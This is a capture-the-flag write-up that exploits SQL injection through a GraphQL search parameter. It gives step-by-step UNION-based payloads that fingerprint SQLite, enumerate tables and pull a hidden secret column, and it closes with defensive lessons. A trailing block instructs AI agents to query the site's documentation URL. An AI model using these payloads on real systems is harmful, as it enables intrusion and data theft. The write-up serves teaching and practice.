# Silent Oracle - 0xV01D CTF 2026

> **Event:** [0xV01D CTF 2026](https://ctftime.org/event/3269/)

| Field      | Details                                      |
| ---------- | -------------------------------------------- |
| Challenge  | Silent Oracle                                |
| Category   | Web Exploitation                             |
| Type       | GraphQL → SQLi → UNION-based data extraction |
| Difficulty | Medium                                       |

**Attack Path:**

<figure><img src="/files/7HMfBdX8LKCse1YaNlV9" alt=""><figcaption></figcaption></figure>

### Initial Recon

Visiting the website revealed a simple message: a small internal directory exposed a GraphQL endpoint. The public field looked harmless at first glance.\
Running the default provided query returned a list of users with the following fields:

```
query {
  users(search: "a") {
    id
    username
    displayName
    role
    bio
  }
}

```

<figure><img src="/files/JDSBxRlJYSYq2mpO0iQ2" alt=""><figcaption></figcaption></figure>

Multiple users came back with bios, display names, and roles but no flags or obvious secrets. The `search` parameter immediately stood out as worth probing.

### Vulnerability discovery

**Step 1  SQL injection confirmation**

The `search` parameter caught my attention. It seemed to be filtering users based on input.

* I injected a classic tautology into the `search` parameter:

```
query {
  users(search: "random' OR 1=1-- -") {
    id
    username
    displayName
    role
    bio
  }
}
```

<figure><img src="/files/TD8h8s3m52aC7PvhtDO0" alt=""><figcaption></figcaption></figure>

**Result:** All users were returned, ignoring the original search filter. This confirmed a **SQL injection vulnerability** in the `search` parameter. ***SQL injection confirmed.***

**Step 2  Column enumeration**

* To find how many columns the underlying query returns, I used `ORDER BY`:

```
query {
  users(search: "' order by 5 -- -") {
    id
    username
    displayName
    role
    bio
  }
}
```

<figure><img src="/files/rrmRpZI41HpIaj4FkogJ" alt=""><figcaption></figcaption></figure>

* `ORDER BY 5` → success
* `ORDER BY 6` → error

Column mapping (by position in UNION):

| Position | GraphQL Field |
| -------- | ------------- |
| 1        | id            |
| 2        | username      |
| 3        | displayName   |
| 4        | role          |
| 5        | bio           |

**Step 3  Database fingerprinting**

I used a UNION-based payload to identify the database engine:

```
query {
  users(search: "' UNION SELECT 1,sqlite_version(),3,4,5 -- -") {
    id
    username
    displayName
    role
    bio
  }
}
```

<figure><img src="/files/J079CzeRBS4rtw3HjuNQ" alt=""><figcaption></figcaption></figure>

The `username` field returned `3.46.1`. This confirmed the backend is **SQLite**.

**Step 4  List all tables**

```
query {
  users(search: "' UNION SELECT 1,2,3,4,name FROM sqlite_master WHERE type='table' -- -") {
    id
    username
    displayName
    role
    bio
  }
}
```

<figure><img src="/files/LiJWwIYxkF8VlfI2XsvX" alt=""><figcaption></figcaption></figure>

**Tables found:** `users`, `audit_log` , `sqlite_sequence`

**Step 5  Extract the schema**

```
query {
  users(search: "' UNION SELECT 1,2,3,4,sql FROM sqlite_master WHERE tbl_name='users' AND type='table' -- -") {
    id
    username
    displayName
    role
    bio
  }
}
```

<figure><img src="/files/oEfVNftw54G8MTIapW21" alt=""><figcaption></figcaption></figure>

Two key observations from the schema:

* The database column is `display_name`, not `displayName` (GraphQL aliases it)
* A `secret` column exists  not exposed in the GraphQL schema at all

**Step 6  Extract the flag**

Now I directly selected the `secret` column from the `users` table:

```
query {
  users(search: "' UNION SELECT id,username,display_name,role,secret FROM users -- -") {
    id
    username
    displayName
    role
    bio
  }
}
```

<figure><img src="/files/QdQGA4hPNbvV7txeZuZi" alt=""><figcaption></figcaption></figure>

The `bio` field (mapped to the 5th column position) now contains the `secret` column values. One entry held the flag. 🎉

### Lessons learned

* **GraphQL is not SQL injection proof.** If the resolvers pass user input directly to a SQL query, the attack surface is identical to REST.
* **`ORDER BY` and `UNION` work the same way** regardless of whether the entry point is GraphQL or a traditional form — the vulnerability lives in the backend, not the API layer.
* **SQLite's `sqlite_master`** is your best friend for schema enumeration without needing `information_schema`.
* **Hidden columns are a real risk.** The `secret` column was never surfaced in the GraphQL schema, yet it was fully accessible via UNION injection. Never assume unexposed fields are safe.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/silent-oracle-0xv01d-ctf-2026.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
